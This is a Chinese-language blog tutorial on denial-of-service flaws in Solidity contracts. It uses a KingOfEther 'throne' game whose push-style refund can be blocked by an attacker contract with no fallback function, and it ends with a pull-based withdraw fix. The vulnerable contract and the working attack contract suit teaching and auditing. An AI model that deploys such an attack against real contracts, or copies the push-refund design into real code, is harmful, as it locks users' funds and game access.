合约DOS

Chiu Lv4

Excavation initiation!

今日讲讲入门漏洞– DOS

DOS概念就不多赘述了,大伙儿都熟得很

以一个游戏 KingOfEther 合约为例子,通过“王位争夺战”机制运作——每个用户需要支付比现任国王更多的以太币才能成为新的国王。但由于合约设计不当,攻击者可以利用这种机制将自己永远固定在 国王 位置,导致其他人无法挑战成功

示例合约

KingOfEther合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract KingOfEther {
address public king;
uint256 public balance;

function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");

(bool sent,) = king.call{value: balance}("");
require(sent, "Failed to send Ether");

balance = msg.value;
king = msg.sender;
}
}

流程:

  • 用户通过调用 claimThrone() 并支付以太币,挑战成为新的国王
  • 若支付的以太币大于当前国王支付的以太币,挑战成功,成为新国王
  • 旧国王会被退还之前支付的金额

这里的设计是“push”模式,即新国王支付的以太币会直接推送给前任国王

问题来了:
如果上一任国王是个合约,而且没有收款功能呢

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
contract Attack {
KingOfEther kingOfEther;

constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}

function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}

攻击流程:

  • 攻击者部署 Attack 合约并传入 KingOfEther 合约的地址
  • 攻击者调用 attack(),支付一定数量的以太币,成功成为新国王
  • 由于 KingOfEther 的设计问题——当新国王被设定时,系统会试图退还旧国王的以太币,但由于 Attack 合约没有 fallback() 函数来接收退款,退款会失败
  • 结果,攻击者成为了国王,且没有 fallback() 函数接收退款,其他任何人都无法成为新的国王,造成DOS

如何防御

我们可以将设计模式从 Push 改为 Pull,做一个账单记录每一任国王的balance,让国王自己“拉取”退款,而不是推送。这样可以避免攻击者通过拒绝接收以太币来造成 DOS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract KingOfEther {
address public king;
uint256 public balance;
mapping(address => uint256) public balances;

function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");

balances[king] += balance;

balance = msg.value;
king = msg.sender;
}

function withdraw() public {
require(msg.sender != king, "Current king cannot withdraw");

uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;

(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
  • Title: 合约DOS
  • Author: Chiu
  • Created at : 2025-04-21 21:50:52
  • Updated at : 2025-07-15 13:01:46
  • Link: https://github.com/Idealist17/github.io/2025/04/21/DOS/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments